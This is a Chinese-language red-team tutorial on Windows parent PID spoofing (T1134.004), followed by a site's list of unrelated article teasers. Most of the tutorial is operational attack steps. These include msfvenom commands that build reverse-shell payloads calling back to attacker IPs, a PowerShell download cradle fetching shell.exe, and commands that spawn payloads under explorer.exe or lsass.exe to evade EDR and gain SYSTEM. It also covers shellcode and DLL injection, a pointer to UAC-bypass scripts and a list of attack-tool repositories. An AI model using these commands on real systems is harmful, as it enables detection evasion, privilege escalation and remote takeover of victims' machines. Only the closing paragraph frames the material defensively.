小工具      在线工具  汉语词典  css  js  c++  java

红队技术 - 父进程欺骗 (T1134)

安全,网络安全,科技 额外说明

收录于:40天前

概述

父进程欺骗是一种访问令牌操作技术,通过将恶意文件的PPID指定为explorer.exe等合法进程的PPID,可帮助攻击者规避启发式检测等防御技术。

该欺骗可通过使用本地API调用来执行,该调用可帮助攻击者显式指定PID,如C++中的CreateProcess调用。正如我们将在本文中看到的那样,这种显式分配也可能具有某些附带好处。

MITRE 策略:权限升级 (TA0004) 和防御规避 (TA0005)

MITRE ATT&CK 技术:T1134:Windows 访问令牌模拟窃取和利用

子技术:T1134.004:访问令牌操作:父 PID 欺骗

背景:

子进程监控是威胁狩猎中最常见的指标之一。应急响应人员可能会分析如果 conhost.exe 或 cmd.exe 进程是从 Adobe Reader 或 MS Excel 等零相关的应用生成的,则表明可能存在潜在威胁。安全防护软件会在启发式检测下监控此行为,并向管理员发出警报。

PID(PPID)欺骗方法可以绕过 AV/EDR检测,使其认为是 lsass.exe 这样的合法进程在进行活动。它通过欺骗进程的 PID 以匹配其父进程的 PID 来做到这一点。这种方法可能带来的另一个好处是,如果父进程以 SYSTEM 权限运行,则可以凭借访问令牌的继承,使其子进程也具有相同的 SYSTEM 权限。

进程、PID 和 PPID

过程:在 Windows 中,应用程序由一个或多个进程组成。简单来说,当前正在运行的程序的一部分称为进程。不同的应用程序可能会使用相同的进程(如cmd.exe),并且为避免歧义,会分配一个整数来区分一个进程和另一个进程。该整数称为PID

PID:代表进程标识符 (PID),它是正在运行的进程的数字表示。Windows 中通过 GetCurrentProcessID() 函数返回指定进程的 PID

父进程:父进程是可以派生多个子进程的进程。例如,命令explorer.exe /e,/root,"C:\WINDOWS\System32\cmd.exe"将派生cmd.exe作为父进程explorer.exe的子进程。在代码中,父进程可以使用fork()系统调用来派生子进程。

生产者PID:代表父进程标识符(PPID),它是提供给父进程的数字表示形式。任何包含子进程的进程都存在父子关系。

方法一(使用C++程序进行PID欺骗)

Didier Stevens 最初在这里的帖子中谈到了Windows API——"CreateProcess"这种方法。还发布了一个用C++编写的利用程序(SelectMyParent)。代码可以在这里下载:https://web.archive.org/web/20210225035252/http:/www.didierstevens.com/files/software/SelectMyParent_v0_0_0_1.zip

请注意,如果您使用的是更高版本的 Visual Studio,则可能需要重新生成此 EXE。在 Visual Studio2022 中,我删除了 Debug 和 Release 文件夹中的 SelectMyParent.pdb 文件,并重新生成项目以使其运行。

在进程管理器中,你会看到 explorer.exe 在 PID 1624 上运行

因此,要在这个父 explorer.exe进程下运行我们自己的二进制文件,可以像这样使用 SelectMyParent.exe,你会看到在 PID 1624下创建了一个新进程。

E:\>SelectMyParent.exe notepad 1624

可以看到在PID 2836启动了notepad.exe

同样,我们也可以运行自己的EXE。让我们先用msfvenom创建一个可以反弹shellexe

# msfvenom -p windows/shell_reverse_tcp -f exe LHOST=172.19.218.248 LPORT=7777 > shell.exe

在受感染端,使用tasklist /v查看进程运行详情。

在列表中,可以看到explorer.exe进程以test身份在进程ID 1624上运行。

然后运行生成的shell.exe,并附属在explorer.exePID

监听端收到的shell便是explorer.exe进程用户的权限

如果利用具有system权限的进程,即可进行提权。

方法2(使用Powershell DLL注入进行PID欺骗)

F-Secure 实验室利用 powershell 创建了替代上述Didier 二进制文件的方案。它也可以用于父进程欺骗,与上述方法不同之处在于,可以将带有注入的DLL的子进程派生为子进程,功能更强大。代码可以在这里下载https://github.com/countercept/ppid-spoofing,首先在受害者机器上查看进程ID,这里我们选择 Powershell 的 PID 24092 作为父进程ID

利用msfvenmon生成要注入的DLL

 msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=172.27.115.207 LPORT=7777 -f dll > shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes

然后注入:

Import-Module .\PPID-Spoof.ps1
PPID-Spoof -ppid 24092 -spawnto "C:\Windows\System32\notepad.exe" -dllpath .\shell.dll

可以看到注入的DLLNotepad.exe中加载执行了。

通过这种方式,PPID 24092上的powershell.exe进程派生了一个带有插入代码(由DLL提供)的notepad.exe

方法3(使用Powershell脚本进行PID欺骗)

Decoder-it 根据 Didier Stevens 提供的指南开发了一个 powershell 脚本,使用了 CreateProcessFromParent() 方法,可以在此处找到的psgetsystem脚本:https://github.com/decoder-it/psgetsystem.git,可用于通过PID欺骗派生子进程。首先我们查看所需进程的 PID。这里以lsass.exe为例

然后执行以下命令:

powershell -ep bypass
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")

如果报错,可能是UAC的问题,需要先绕过UAC,或者是权限过低,需要提权。

绕过UAC脚本可以在这里找到:https://github.com/samratashok/nishang/tree/master/Escalation

然后下载需要的文件并执行命令

$client=new-object System.Net.WebClient 
$client.DownloadFile("http://<url>/psgetsys.ps1",".\psgetsys.ps1")
$client.DownloadFile("http://<url>/shell.exe",".\shell.exe")
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")

可以看到在lsass.exe下成功创建了子进程,因为lsass.exesystem权限,所以反弹shell也获取到了system权限。

方法四(使用C#程序进行PID欺骗)

py7hagoras开发了GetSystem项目,是上述技术的C#实现,可以在这里找到:https://github.com/py7hagoras/GetSystem.git

在目标机上下载GetSystem.exe,然后执行GetSystem.exe 自定义程序 -O 目标进程名

GetSystem.exe shell.exe -O lsass

注意:这里可能也需要绕过UAC或者提权,不然执行不成功。

方法五(通过PID欺骗注入Shellcode)

Chirag Savla 使用 C# 开发了一个名为“ProcessInjection”的出色工具,它可以执行许多功能,包括通过 PID 欺骗进行的进程注入。通过提供有效的 PID,该工具会尝试使用 CreateProcess 等原生 API 调用来欺骗 PID,然后将代码注入其中。该工具支持 hexC 和 base64 格式的shellcode ,也可以选择 DLL 注入。工具在这里下载:https://github.com/3xpl01tc0d3r/ProcessInjection

首先,使用msfvenom创建一个shellcode代码

msfvenom -p windows/x64/shell_reverse_tcp -exitfunc=thread LHOST=172.19.218.248 LPORT=7777 -f hex > /hex.txt

然后下载到目标机器上

使用ProcessInjection.exe进行注入

ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"hex.txt" /parentproc:explorer /f:hex /t:1

参数说明:

/ppath:目标EXE的进程路径(需要注入的进程的路径)

/path:shellcode文件路径

/parentproc:父进程的名称,目标EXE应该在该进程下生成

/f: shellcode 文件类型

/t:注射技术

支持五种注入方法:

1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) Dynamic Invoke - Vanilla Process Injection

我们可以看到calc.exeexplorer.exe下,而shellcode则在calc.exe中执行。

也可以进行DLL注入

ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"shell.dll" /parentproc:explorer /t:2

其他工具

https://github.com/Mr-Un1k0d3r/RemoteProcessInjection

https://github.com/xpn/getsystem-offline

https://github.com/hlldz/APC-PPID

https://github.com/ewilded/PPID_spoof

https://github.com/christophetd/spoofing-office-macro(VBA 实现)

在Metasploit中Meterpreter 可以使用migrate命令或者后渗透模块post/windows/manage/migrate也可以实现进程迁移。

总结

攻击者广泛使用此技术来逃避检测并增加紧急响应人员检测 IoC 所需的时间。对于许多过时且未打补丁的 EDR 解决方案,使用此技术可以轻松逃避检测。本文解释了为什么您应该在组织中使用最新的 EDR 解决方案,以及在可以捕获此类技术的优质产品中使用智能检测功能的重要性。

. . .

相关推荐

额外说明

FSM状态机

什么是有限状态机(FSM) 有限状态机是由寄存器组和组合逻辑构成的硬件时序电路。 其状态(即由寄存器组的1和0的组合状态所构成的有限个状态)只能在同一时钟跳变沿的,情况下才能从一个状态转向另一个状态。 究竟转向哪一状态不但取决于各个输入值,还取决于当前状

额外说明

什么是执行计划以及如何查看它?

《SQL 从入门到精通》专栏目录 第 01 篇 和数据打交道的你,一定要学会 SQL 第 02 篇 在 SQL 的世界里一切都是关系 第 03 篇 使用 SELECT 语句初步探索数据库 第 04 篇 通过查询条件实现数据过滤 第 05 篇 如何使用 S

额外说明

SpringMVC第一阶段:SpringMVC的介绍和使用

1、SpringMVC的概述 Spring MVC框架是一个开源的Java平台,为开发强大的基于JavaWeb应用程序提供全面的基础架构支持,并且使用起来非常简单容易。 Spring web MVC框架提供了MVC(模型 - 视图 - 控制器)架构,用于

额外说明

【JAVA-Day14】深入了解 Java 中的 while 循环语句

深入了解 Java 中的 while 循环语句 深入了解 Java 中的 while 循环语句 摘要 引言 一、什么是 while 循环语句 二、while 循环语句的语法和使用场景 使用场景 三、while 循环的优势和使用场景 优势 使用建议 四、总

额外说明

TP5+商城小程序——微信支付-11订单快照的实现

QQ 1274510382 Wechat JNZ_aming 商业联盟 QQ群538250800 技术搞事 QQ群599020441 解决方案 QQ群152889761 加入我们 QQ群649347320 共享学习 QQ群674240731 纪年科技am

额外说明

B-6 Web应用程序文件包含

需要环境请私信博主,勿喷!!! B-6 Web应用程序文件包含 任务环境说明: 服务器场景名称:Server2233(关闭链接) 1.通过扫描

额外说明

【51单片机HC6800-EM3 V3.0】动态数码管显示,原理分析,连线操作

-专栏【51单片机】 -喜欢的诗句:更喜岷山千里雪 三军过后尽开颜。 -音乐分享【如愿】 大一同学小吉,欢迎并且感谢大家指出我的问题- 目录   -提醒 -连线图片   -原理分析(为什么要这样子连线) ⭐为什么要连接138译码器上面的ABC口  ⭐为什

额外说明

软件设计师笔记系列(四)

-前言 随着技术的快速发展,软件已经成为我们日常生活中不可或缺的一部分。从智能手机应用到大型企业系统,软件都在为我们提供便利、增强效率和创造价值。然而,随之而来的是对软件质量的日益增长的关注。软件的质量不仅关乎其功能性和性能,还涉及其可靠性、使用性、可维

额外说明

ROS从入门到精通5-2:常用传感器与消息数据

目录 0 专栏介绍 1 里程计 1.1 简介 1.2 数据类型 2 激光雷达 2.1 简介 2.2 数据类型 3 摄像头 3.1 简介 3.2 数据类型 0 专栏介绍 本专栏旨在通过对ROS的系统学习,掌握ROS底层基本分布式原理,并具有机器人建模和应用

额外说明

mPython概述、软件下载、安装

一、概述 mPython编程软件是一款用来给控制板编写程序,然后学习编程的软件。支持从图形化编程开始为控制板编写程序,轻松掌握Python编程语言。 功能总结: 1、图形化编程:以图形化积木的形式进行编程创建 2.双屏对比:让Python更容易学习,直观

ads via 小工具